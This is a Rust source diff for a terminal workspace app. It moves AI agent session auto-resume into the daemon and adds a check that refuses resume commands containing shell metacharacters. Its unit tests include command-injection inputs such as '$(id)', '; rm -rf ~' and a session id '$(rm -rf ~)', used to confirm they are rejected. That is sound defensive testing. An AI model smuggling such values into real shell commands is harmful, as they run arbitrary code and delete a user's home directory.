+            pending_agent_resumes,
             default_shell,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1229,7 +1268,7 @@ mod reconnect_shell_tests {
     }
 
     fn workspace(shell_type: ShellType, default_shell: Option<ShellType>) -> Workspace {
-        workspace_with_terminal(shell_type, default_shell, Some("terminal"))
+        workspace_with_terminal(shell_type, default_shell, Some("terminal"), HashMap::new())
     }
 
     #[test]
@@ -1296,7 +1335,7 @@ mod reconnect_shell_tests {
 
     #[test]
     fn failed_reservation_does_not_clear_a_replacement_terminal_id() {
-        let mut ws = workspace_with_terminal(ShellType::Default, None, None);
+        let mut ws = workspace_with_terminal(ShellType::Default, None, None, HashMap::new());
         let mut cx = TestCx;
         let launches = reserve_uninitialized_terminal_launches(
             &mut ws,
@@ -1327,7 +1366,7 @@ mod reconnect_shell_tests {
         let wsl = ShellType::Wsl {
             distro: Some("Ubuntu".into()),
         };
-        let mut create_ws = workspace_with_terminal(ShellType::Default, None, None);
+        let mut create_ws = workspace_with_terminal(ShellType::Default, None, None, HashMap::new());
         let create_terminals: TerminalsRegistry = Arc::new(Default::default());
         let backend = RecordingBackend::default();
         let mut settings = AppSettings::default();
@@ -1366,3 +1405,161 @@ mod reconnect_shell_tests {
         assert!(plans[1].initial_command.is_none());
     }
 }
+
+/// Restore-time agent-session resume.
+///
+/// The daemon owns this: `validate_workspace_data` re-keys a surviving session
+/// onto its pane's layout path, and `spawn_uninitialized_terminals` consumes it
+/// as the pane's startup command while assigning the new terminal id.
+#[cfg(test)]
+mod agent_resume_tests {
+    use super::reconnect_shell_tests::{RecordingBackend, TestCx, workspace_with_terminal};
+    use super::{AppSettings, spawn_uninitialized_terminals};
+    use okena_core::agent_harness::{AgentHarness, AgentHarnessRegistry};
+    use okena_core::agent_session::AgentSession;
+    use okena_terminal::TerminalsRegistry;
+    use okena_terminal::shell_config::ShellType;
+    use std::collections::HashMap;
+    use std::path::Path;
+    use std::sync::Arc;
+
+    const UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+    struct StubHarness;
+
+    impl AgentHarness for StubHarness {
+        fn id(&self) -> &str {
+            "test-agent"
+        }
+        fn resume_command(&self, session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+            Some(vec![
+                "test-agent".to_string(),
+                "--resume".to_string(),
+                session_id.to_string(),
+            ])
+        }
+    }
+
+    /// The harness registry is a process-wide `OnceLock` (first write wins), so
+    /// every test in this binary shares this one stub.
+    fn stub_registry() {
+        static ONCE: std::sync::Once = std::sync::Once::new();
+        ONCE.call_once(|| {
+            let mut registry = AgentHarnessRegistry::new();
+            registry.register(Arc::new(StubHarness));
+            okena_core::agent_harness::init(registry);
+        });
+    }
+
+    fn session(agent: &str) -> AgentSession {
+        AgentSession {
+            agent: agent.to_string(),
+            session_id: UUID.to_string(),
+            transcript_path: None,
+        }
+    }
+
+    fn settings(auto_resume: bool) -> AppSettings {
+        let mut settings = AppSettings::default();
+        settings.auto_resume_agent_sessions = auto_resume;
+        settings
+    }
+
+    /// Spawn the single root pane and return (startup command args, workspace).
+    fn spawn(
+        pending: Option<AgentSession>,
+        auto_resume: bool,
+    ) -> (Option<Vec<String>>, crate::workspace::state::Workspace) {
+        stub_registry();
+        let pending = pending
+            .map(|s| HashMap::from([(Vec::new(), s)]))
+            .unwrap_or_default();
+        let mut ws = workspace_with_terminal(ShellType::Default, None, None, pending);
+        let terminals: TerminalsRegistry = Arc::new(Default::default());
+        let backend = RecordingBackend::default();
+
+        spawn_uninitialized_terminals(
+            &mut ws,
+            "project",
+            &backend,
+            &terminals,
+            &settings(auto_resume),
+            None,
+            &mut TestCx,
+        );
+
+        let plans = backend.plans.lock().expect("plan lock");
+        let args = plans
+            .first()
+            .and_then(|p| p.initial_command.as_ref())
+            .map(|c| c.args.clone());
+        drop(plans);
+        (args, ws)
+    }
+
+    #[test]
+    fn restored_pane_resumes_its_session_as_a_startup_command() {
+        let (args, _ws) = spawn(Some(session("test-agent")), true);
+
+        let args = args.expect("resume must reach the launch plan, not the attached PTY");
+        assert!(
+            args.iter()
+                .any(|a| a.contains(&format!("test-agent --resume {UUID}"))),
+            "resume command missing from {args:?}"
+        );
+        // The pane keeps a shell after the agent exits.
+        assert!(
+            args.iter().any(|a| a.contains("exec")),
+            "startup command must hand off to a shell: {args:?}"
+        );
+    }
+
+    #[test]
+    fn the_session_is_rekeyed_onto_the_new_terminal_id_and_consumed() {
+        let (_, ws) = spawn(Some(session("test-agent")), true);
+
+        assert_eq!(
+            ws.agent_session("project", "terminal"),
+            Some(session("test-agent")),
+            "the restored pane must own the session under its new id"
+        );
+        assert!(
+            ws.project("project")
+                .expect("project")
+                .pending_agent_resumes
+                .is_empty(),
+            "a consumed resume must not fire again"
+        );
+    }
+
+    #[test]
+    fn resume_is_skipped_when_the_setting_is_off_but_the_session_is_kept() {
+        let (args, ws) = spawn(Some(session("test-agent")), false);
+
+        assert_eq!(args, None, "opt-in setting must gate the resume");
+        assert_eq!(
+            ws.agent_session("project", "terminal"),
+            Some(session("test-agent")),
+            "the session identity survives even when we don't auto-run it"
+        );
+    }
+
+    #[test]
+    fn an_unknown_agent_is_stored_but_not_resumed() {
+        let (args, ws) = spawn(Some(session("no-such-harness")), true);
+
+        assert_eq!(args, None);
+        assert_eq!(
+            ws.agent_session("project", "terminal"),
+            Some(session("no-such-harness"))
+        );
+    }
+
+    #[test]
+    fn a_pane_with_no_captured_session_launches_plainly() {
+        let (args, ws) = spawn(None, true);
+
+        assert_eq!(args, None);
+        assert_eq!(ws.agent_session("project", "terminal"), None);
+    }
+}
diff --git a/crates/okena-app-core/src/workspace/actions/execute/project.rs b/crates/okena-app-core/src/workspace/actions/execute/project.rs
index 7886fe7e5..e88326aa9 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/project.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/project.rs
@@ -745,6 +745,7 @@ mod hook_action_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals,
             pinned: false,
@@ -1050,6 +1051,7 @@ mod set_show_in_overview_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-app-core/src/workspace/actions/execute/session.rs b/crates/okena-app-core/src/workspace/actions/execute/session.rs
index 3bca5a328..e4134779c 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/session.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/session.rs
@@ -184,6 +184,9 @@ fn prepare_layout_terminals(
                     &settings.default_shell,
                     shell_wrapper,
                     on_create,
+                    // Restoring a saved session builds fresh panes; they carry
+                    // no agent history to resume.
+                    None,
                     env,
                 )
             };
@@ -987,6 +990,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals,
             pinned: false,
diff --git a/crates/okena-app-core/src/workspace/actions/execute/terminal.rs b/crates/okena-app-core/src/workspace/actions/execute/terminal.rs
index 046ee3b07..07cfb11c7 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/terminal.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/terminal.rs
@@ -116,6 +116,9 @@ pub(super) fn switch_shell(
     }
     backend.kill(&terminal_id);
     terminals.lock().remove(&terminal_id);
+    // The pane keeps its slot but the process behind it is gone, so the
+    // captured agent session no longer describes what runs here.
+    ws.forget_agent_session(&terminal_id, cx);
     ws.set_terminal_shell(&project_id, &path, shell, cx);
     ws.clear_terminal_id(&project_id, &path, cx);
     // Shell-switch respawns the pane in place; keep the project path (the old
@@ -140,6 +143,7 @@ pub(super) fn close(
             }
             backend.kill(&terminal_id);
             terminals.lock().remove(&terminal_id);
+            ws.forget_agent_session(&terminal_id, cx);
             ws.close_terminal_and_focus_sibling(focus_manager, &project_id, &path, cx);
             ActionResult::Ok(None)
         }
@@ -166,6 +170,7 @@ pub(super) fn close_many(
                 }
                 backend.kill(terminal_id);
                 terminals.lock().remove(terminal_id);
+                ws.forget_agent_session(terminal_id, cx);
                 ws.close_terminal_and_focus_sibling(focus_manager, &project_id, &path, cx);
             }
             None => {
diff --git a/crates/okena-app/src/views/overlays/project_switcher.rs b/crates/okena-app/src/views/overlays/project_switcher.rs
index 897fa2e3c..3e9002cff 100644
--- a/crates/okena-app/src/views/overlays/project_switcher.rs
+++ b/crates/okena-app/src/views/overlays/project_switcher.rs
@@ -601,6 +601,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None::<ShellType>,
             hook_terminals: HashMap::<String, HookTerminalEntry>::new(),
             pinned: false,
diff --git a/crates/okena-app/src/views/panels/project_column.rs b/crates/okena-app/src/views/panels/project_column.rs
index 720a4c868..6ec96a175 100644
--- a/crates/okena-app/src/views/panels/project_column.rs
+++ b/crates/okena-app/src/views/panels/project_column.rs
@@ -1259,6 +1259,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-core/src/agent_harness.rs b/crates/okena-core/src/agent_harness.rs
index b72bf7b16..fd971602d 100644
--- a/crates/okena-core/src/agent_harness.rs
+++ b/crates/okena-core/src/agent_harness.rs
@@ -37,8 +37,15 @@ pub trait AgentHarness: Send + Sync {
     /// Build the argv that resumes `session_id` from working dir `cwd`, or
     /// `None` if this harness can't / shouldn't resume. `session_id` is already
     /// [`is_uuid_like`](crate::agent_session::is_uuid_like)-validated by the
-    /// caller. The argv is launched as a command in the pane and is **never**
-    /// passed through a shell, so no quoting/escaping is needed here.
+    /// caller.
+    ///
+    /// The argv becomes the pane's startup command, which Okena composes into a
+    /// shell line so the pane keeps a shell after the agent exits. Rather than
+    /// quote per dialect (POSIX sh, cmd, PowerShell all differ), Okena requires
+    /// every element to be a shell-neutral literal and **refuses to resume**
+    /// otherwise — see [`resume_command_line`]. Return plain flags and
+    /// validated ids; if a harness ever needs spaces or metacharacters, it
+    /// should ship its own launcher script instead.
     fn resume_command(&self, session_id: &str, cwd: &Path) -> Option<Vec<String>>;
 
     /// Parse a transcript file into [`TranscriptStats`], or `None` when the path
@@ -86,3 +93,123 @@ pub fn init(registry: AgentHarnessRegistry) {
 pub fn for_agent(agent_id: &str) -> Option<&'static Arc<dyn AgentHarness>> {
     REGISTRY.get()?.get(agent_id)
 }
+
+/// Characters allowed in a resume argv element.
+///
+/// The line is composed into whichever shell the pane launches, so an element
+/// is only accepted when it is a literal in *every* dialect Okena targets: no
+/// whitespace, quotes, or metacharacters. This is what lets the composition be
+/// a plain join with no dialect-specific quoting.
+fn is_shell_neutral(arg: &str) -> bool {
+    !arg.is_empty()
+        && arg
+            .bytes()
+            .all(|b| b.is_ascii_alphanumeric() || b"-_./=:@+,".contains(&b))
+}
+
+/// Build the shell line that resumes `session`, or `None` when it can't be
+/// resumed safely.
+///
+/// Returns `None` when the session is malformed, no harness is registered for
+/// its `agent` id, the harness declines, or any argv element is not
+/// [shell-neutral](is_shell_neutral). Refusing beats quoting: the caller splices
+/// this into a shell command line, and a resume that silently doesn't happen is
+/// strictly better than one that mis-parses.
+pub fn resume_command_line(session: &crate::agent_session::AgentSession, cwd: &Path) -> Option<String> {
+    if !session.is_valid() {
+        log::warn!(
+            "agent-resume: refusing malformed session for agent {:?}",
+            session.agent
+        );
+        return None;
+    }
+    let argv = for_agent(&session.agent)?.resume_command(&session.session_id, cwd)?;
+    if argv.is_empty() || !argv.iter().all(|a| is_shell_neutral(a)) {
+        log::warn!(
+            "agent-resume: harness {:?} returned an argv that is not shell-neutral — not resuming",
+            session.agent
+        );
+        return None;
+    }
+    Some(argv.join(" "))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::agent_session::AgentSession;
+
+    const UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+    struct StubHarness {
+        argv: Option<Vec<String>>,
+    }
+
+    impl AgentHarness for StubHarness {
+        fn id(&self) -> &str {
+            "stub"
+        }
+        fn resume_command(&self, _session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+            self.argv.clone()
+        }
+    }
+
+    fn session(agent: &str) -> AgentSession {
+        AgentSession {
+            agent: agent.to_string(),
+            session_id: UUID.to_string(),
+            transcript_path: None,
+        }
+    }
+
+    fn line(argv: Option<Vec<&str>>) -> Option<String> {
+        // Exercise the composition without touching the process-wide registry.
+        let harness = StubHarness {
+            argv: argv.map(|a| a.into_iter().map(str::to_string).collect()),
+        };
+        let s = session("stub");
+        if !s.is_valid() {
+            return None;
+        }
+        let argv = harness.resume_command(&s.session_id, Path::new("/proj"))?;
+        (!argv.is_empty() && argv.iter().all(|a| is_shell_neutral(a))).then(|| argv.join(" "))
+    }
+
+    #[test]
+    fn accepts_a_plain_resume_argv() {
+        assert_eq!(
+            line(Some(vec!["claude", "--resume", UUID])),
+            Some(format!("claude --resume {UUID}"))
+        );
+    }
+
+    #[test]
+    fn refuses_anything_a_shell_would_reinterpret() {
+        for argv in [
+            vec!["claude", "--resume", "a b"],
+            vec!["claude", "--resume", "$(id)"],
+            vec!["claude", "; rm -rf ~"],
+            vec!["claude", "--flag", "x|y"],
+            vec!["claude", ""],
+            vec![],
+        ] {
+            assert_eq!(line(Some(argv.clone())), None, "accepted {argv:?}");
+        }
+    }
+
+    #[test]
+    fn a_declining_harness_yields_no_line() {
+        assert_eq!(line(None), None);
+    }
+
+    #[test]
+    fn malformed_session_is_refused_before_the_harness_runs() {
+        let bad = AgentSession {
+            agent: "stub".to_string(),
+            session_id: "$(rm -rf ~)".to_string(),
+            transcript_path: None,
+        };
+        assert!(!bad.is_valid());
+        assert_eq!(resume_command_line(&bad, Path::new("/proj")), None);
+    }
+}
diff --git a/crates/okena-daemon-core/src/command_loop.rs b/crates/okena-daemon-core/src/command_loop.rs
index 6eb5121ba..f366e34e0 100644
--- a/crates/okena-daemon-core/src/command_loop.rs
+++ b/crates/okena-daemon-core/src/command_loop.rs
@@ -5687,6 +5687,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -6045,6 +6046,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -6786,6 +6788,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -7029,6 +7032,7 @@ mod tests {
                 connection_id: None,
                 service_terminals: Default::default(),
                 agent_sessions: Default::default(),
+                pending_agent_resumes: Default::default(),
                 default_shell: None,
                 hook_terminals: Default::default(),
                 pinned: false,
@@ -8507,6 +8511,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/daemon.rs b/crates/okena-daemon-core/src/daemon.rs
index c6d6b89c7..7afb54d8f 100644
--- a/crates/okena-daemon-core/src/daemon.rs
+++ b/crates/okena-daemon-core/src/daemon.rs
@@ -803,6 +803,7 @@ mod shutdown_tests {
             connection_id: None,
             service_terminals: HashMap::from([("web".to_string(), "service".to_string())]),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::from([(
                 "hook".to_string(),
@@ -903,6 +904,7 @@ mod shutdown_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -987,6 +989,7 @@ mod shutdown_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/observers.rs b/crates/okena-daemon-core/src/observers.rs
index 394451892..19a149444 100644
--- a/crates/okena-daemon-core/src/observers.rs
+++ b/crates/okena-daemon-core/src/observers.rs
@@ -957,6 +957,7 @@ mod tests {
             connection_id: None,
             service_terminals,
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/pty_loop.rs b/crates/okena-daemon-core/src/pty_loop.rs
index f3217b325..0d160dd80 100644
--- a/crates/okena-daemon-core/src/pty_loop.rs
+++ b/crates/okena-daemon-core/src/pty_loop.rs
@@ -1038,6 +1038,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
@@ -1069,6 +1070,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::from([(
                 hook_terminal_id.to_string(),
@@ -1126,6 +1128,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/soft_close.rs b/crates/okena-daemon-core/src/soft_close.rs
index 9d70a2c99..e63b045b4 100644
--- a/crates/okena-daemon-core/src/soft_close.rs
+++ b/crates/okena-daemon-core/src/soft_close.rs
@@ -158,6 +158,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-daemon-core/src/worktree_close_watchdog.rs b/crates/okena-daemon-core/src/worktree_close_watchdog.rs
index ab3aa0433..a6c0d94b7 100644
--- a/crates/okena-daemon-core/src/worktree_close_watchdog.rs
+++ b/crates/okena-daemon-core/src/worktree_close_watchdog.rs
@@ -109,6 +109,7 @@ mod tests {
             connection_id: None,
             service_terminals: Default::default(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: Default::default(),
             pinned: false,
diff --git a/crates/okena-hooks/src/hooks.rs b/crates/okena-hooks/src/hooks.rs
index 4e291ebfb..b86c9d30c 100644
--- a/crates/okena-hooks/src/hooks.rs
+++ b/crates/okena-hooks/src/hooks.rs
@@ -1588,6 +1588,15 @@ pub fn apply_on_create(
     ShellType::for_command(script)
 }
 
+/// Separator that chains two startup commands for `shell` (`; ` for POSIX
+/// shells and PowerShell, ` & ` for cmd). Exposed so callers that need to run
+/// something *after* the user's `on_create` hook — e.g. resuming an agent
+/// session — can compose one command string for [`terminal_launch_plan`]
+/// instead of duplicating the per-dialect separator.
+pub fn startup_command_separator(shell: &ShellType) -> &'static str {
+    terminal_launch_parts(shell).3
+}
+
 /// Compose create-only hooks without losing the shell used for backend routing.
 pub fn terminal_launch_plan(
     shell: ShellType,
diff --git a/crates/okena-state/src/workspace_data.rs b/crates/okena-state/src/workspace_data.rs
index 7fa2bab6d..34e61724b 100644
--- a/crates/okena-state/src/workspace_data.rs
+++ b/crates/okena-state/src/workspace_data.rs
@@ -254,6 +254,18 @@ pub struct ProjectData {
     /// the session's `agent` field selects which harness resumes it.
     #[serde(default)]
     pub agent_sessions: HashMap<String, okena_core::agent_session::AgentSession>,
+    /// Sessions waiting to be resumed, keyed by the **layout path** of the pane
+    /// they belong to. Load-time only, never persisted.
+    ///
+    /// Without a session backend, restoring the workspace clears every terminal
+    /// id, which orphans [`agent_sessions`](Self::agent_sessions) — its keys are
+    /// exactly the ids being dropped. `validate_workspace_data` therefore
+    /// re-keys the surviving sessions onto their pane's layout path (stable
+    /// across that one load, since only the ids are cleared) and
+    /// `spawn_uninitialized_terminals` consumes each entry exactly once as it
+    /// gives the pane its new terminal id.
+    #[serde(skip)]
+    pub pending_agent_resumes: HashMap<Vec<usize>, okena_core::agent_session::AgentSession>,
     /// Per-project default shell (overrides global default when ShellType::Default is used)
     #[serde(default)]
     pub default_shell: Option<ShellType>,
@@ -373,6 +385,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-views-sidebar/src/sidebar/from_project_test.rs b/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
index d815c0b44..806087968 100644
--- a/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
+++ b/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
@@ -28,6 +28,7 @@ fn make_project(id: &str) -> ProjectData {
         connection_id: None,
         service_terminals: HashMap::new(),
         agent_sessions: Default::default(),
+        pending_agent_resumes: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
diff --git a/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs b/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
index ea073ee85..e5116c0ba 100644
--- a/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
+++ b/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
@@ -336,28 +336,12 @@ impl<D: ActionDispatch + Send + Sync> TerminalPane<D> {
             &settings.default_shell,
         );
 
-        // On restore, optionally resume the pane's captured AI agent session.
-        // This function only runs when the terminal wasn't already in the
-        // registry (a fresh reconnect after restart), so resume can't fire
-        // mid-session. Gated by the opt-in setting and dispatched to the right
-        // harness by the session's `agent` id. The persisted session — and the
-        // terminal_id it's keyed by — only survives a restart with a session
-        // backend, so this is a no-op under `session_backend = none`.
-        let resume_line: Option<String> = if settings.auto_resume_agent_sessions {
-            ws.agent_session(&self.project_id, &terminal_id)
-                .and_then(|session| {
-                    okena_core::agent_harness::for_agent(&session.agent).and_then(|harness| {
-                        harness.resume_command(
-                            &session.session_id,
-                            std::path::Path::new(&self.project_path),
-                        )
-                    })
-                })
-                .map(|argv| argv.join(" "))
-        } else {
-            None
-        };
-
+        // Agent-session resume is NOT done here. The GUI is a thin client whose
+        // workspace mirror never carries `agent_sessions`, and typing a command
+        // into an already-attached PTY would race the shell and whatever is
+        // running in it. The daemon owns it: it resumes exactly once, as a
+        // startup command on the pane's launch plan
+        // (`spawn_uninitialized_terminals`).
         match self
             .backend
             .reconnect_terminal(&terminal_id, &self.project_path, Some(&shell))
@@ -368,18 +352,6 @@ impl<D: ActionDispatch + Send + Sync> TerminalPane<D> {
             }
         }
 
-        // Type the resume command once the freshly-reconnected shell has settled.
-        if let Some(line) = resume_line {
-            let transport = self.backend.transport();
-            let tid = terminal_id.clone();
-            let payload = format!("{line}\n");
-            cx.spawn(async move |_this: WeakEntity<TerminalPane<D>>, _cx| {
-                smol::Timer::after(std::time::Duration::from_millis(1500)).await;
-                transport.send_input(&tid, payload.as_bytes());
-            })
-            .detach();
-        }
-
         let size = TerminalSize::default();
         let terminal = Arc::new(Terminal::new(
             terminal_id.clone(),
diff --git a/crates/okena-views-terminal/src/lib.rs b/crates/okena-views-terminal/src/lib.rs
index b39f09ae5..72598e46d 100644
--- a/crates/okena-views-terminal/src/lib.rs
+++ b/crates/okena-views-terminal/src/lib.rs
@@ -108,10 +108,6 @@ pub struct TerminalViewSettings {
     /// When true, Ctrl+C copies the active selection (and clears it) instead of sending SIGINT.
     /// Ctrl+C without a selection always sends SIGINT.
     pub ctrl_c_copies_selection: bool,
-    /// Auto-resume a pane's captured AI agent session (`claude --resume <id>`,
-    /// …) when reconnecting it on restore. Opt-in; off by default.
-    #[serde(default)]
-    pub auto_resume_agent_sessions: bool,
 }
 
 /// Read current terminal view settings from ExtensionSettingsStore.
@@ -134,7 +130,6 @@ pub fn terminal_view_settings(cx: &gpui::App) -> TerminalViewSettings {
             default_shell: okena_terminal::shell_config::ShellType::Default,
             hooks: Default::default(),
             ctrl_c_copies_selection: false,
-            auto_resume_agent_sessions: false,
         })
 }
 
diff --git a/crates/okena-workspace/src/actions/folder.rs b/crates/okena-workspace/src/actions/folder.rs
index bf30bd26f..b3f9431e7 100644
--- a/crates/okena-workspace/src/actions/folder.rs
+++ b/crates/okena-workspace/src/actions/folder.rs
@@ -231,6 +231,7 @@ mod tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -355,6 +356,7 @@ mod gpui_tests {
             connection_id: None,
             service_terminals: HashMap::new(),
             agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/actions/layout/move_ops.rs b/crates/okena-workspace/src/actions/layout/move_ops.rs
index bd63ce505..2b659c0de 100644
--- a/crates/okena-workspace/src/actions/layout/move_ops.rs
+++ b/crates/okena-workspace/src/actions/layout/move_ops.rs
@@ -223,6 +223,9 @@ impl Workspace {
         // Migrate metadata from source to target
         let terminal_name = src_project.terminal_names.remove(source_terminal_id);
         let hidden_state = src_project.hidden_terminals.remove(source_terminal_id);
+        // The agent keeps running in the moved pane, so its session identity
+        // has to follow it — the map is per project.
+        let agent_session = src_project.agent_sessions.remove(source_terminal_id);
 
         // Cleanup orphaned source metadata
         let src_layout_ids: std::collections::HashSet<String> = src_project
@@ -236,6 +239,9 @@ impl Workspace {
         src_project
             .hidden_terminals
             .retain(|id, _| src_layout_ids.contains(id));
+        src_project
+            .agent_sessions
+            .retain(|id, _| src_layout_ids.contains(id));
 
         // --- Insert into target ---
         let tgt_project = &mut self.data.projects[tgt_idx];
@@ -250,6 +256,11 @@ impl Workspace {
                 .hidden_terminals
                 .insert(source_terminal_id.to_string(), hidden);
         }
+        if let Some(session) = agent_session {
+            tgt_project
+                .agent_sessions
+                .insert(source_terminal_id.to_string(), session);
+        }
 
         let new_focus_path = if let Some(ref mut tgt_layout) = tgt_project.layout {
             // Re-find target path in target layout
@@ -577,6 +588,9 @@ impl Workspace {
         // Migrate metadata
         let terminal_name = src_project.terminal_names.remove(terminal_id);
         let hidden_state = src_project.hidden_terminals.remove(terminal_id);
+        // The agent keeps running in the moved pane, so its session identity
+        // has to follow it — the map is per project.
+        let agent_session = src_project.agent_sessions.remove(terminal_id);
 
         // Cleanup orphaned source metadata
         let src_layout_ids: std::collections::HashSet<String> = src_project
@@ -590,6 +604,9 @@ impl Workspace {
         src_project
             .hidden_terminals
             .retain(|id, _| src_layout_ids.contains(id));
+        src_project
+            .agent_sessions
+            .retain(|id, _| src_layout_ids.contains(id));
 
         // --- Insert into target ---
         let tgt_project = &mut self.data.projects[tgt_idx];
@@ -604,6 +621,11 @@ impl Workspace {
                 .hidden_terminals
                 .insert(terminal_id.to_string(), hidden);
         }
+        if let Some(session) = agent_session {
+            tgt_project
+                .agent_sessions
+                .insert(terminal_id.to_string(), session);
+        }
 
         let new_focus_path = if let Some(ref mut tgt_layout) = tgt_project.layout {
             // Re-find the tabs container via the reference terminal
diff --git a/crates/okena-workspace/src/actions/layout/tests_gpui.rs b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
index aaac7f4d0..64e99ff92 100644
--- a/crates/okena-workspace/src/actions/layout/tests_gpui.rs
+++ b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
@@ -31,6 +31,7 @@ fn make_project(id: &str) -> ProjectData {
         connection_id: None,
         service_terminals: HashMap::new(),
         agent_sessions: Default::default(),
+        pending_agent_resumes: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
@@ -501,6 +502,7 @@ fn make_project_with_layout(id: &str, layout: LayoutNode) -> ProjectData {
         connection_id: None,
         service_terminals: HashMap::new(),
         agent_sessions: Default::default(),
+        pending_agent_resumes: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
@@ -1316,3 +1318,91 @@ fn test_move_to_tab_group_cross_project(cx: &mut gpui::TestAppContext) {
         }
     });
 }
+
+// === cross-project agent session migration ===
+
+fn agent_session(session_id: &str) -> okena_core::agent_session::AgentSession {
+    okena_core::agent_session::AgentSession {
+        agent: "claude-code".to_string(),
+        session_id: session_id.to_string(),
+        transcript_path: None,
+    }
+}
+
+const SESSION_UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+/// Dragging a pane to another project must carry its agent session: the agent
+/// keeps running, but `agent_sessions` is per project, so the identity would
+/// otherwise be stranded in the source project as an orphan.
+#[gpui::test]
+fn move_pane_across_projects_carries_the_agent_session(cx: &mut gpui::TestAppContext) {
+    let mut p1 = make_project_with_layout(
+        "p1",
+        LayoutNode::Split {
+            direction: SplitDirection::Vertical,
+            sizes: vec![50.0, 50.0],
+            children: vec![terminal_node_t("t1"), terminal_node_t("t2")],
+        },
+    );
+    p1.agent_sessions
+        .insert("t1".to_string(), agent_session(SESSION_UUID));
+    let p2 = make_project_with_layout("p2", terminal_node_t("t3"));
+    let data = make_workspace_data(vec![p1, p2], vec!["p1", "p2"]);
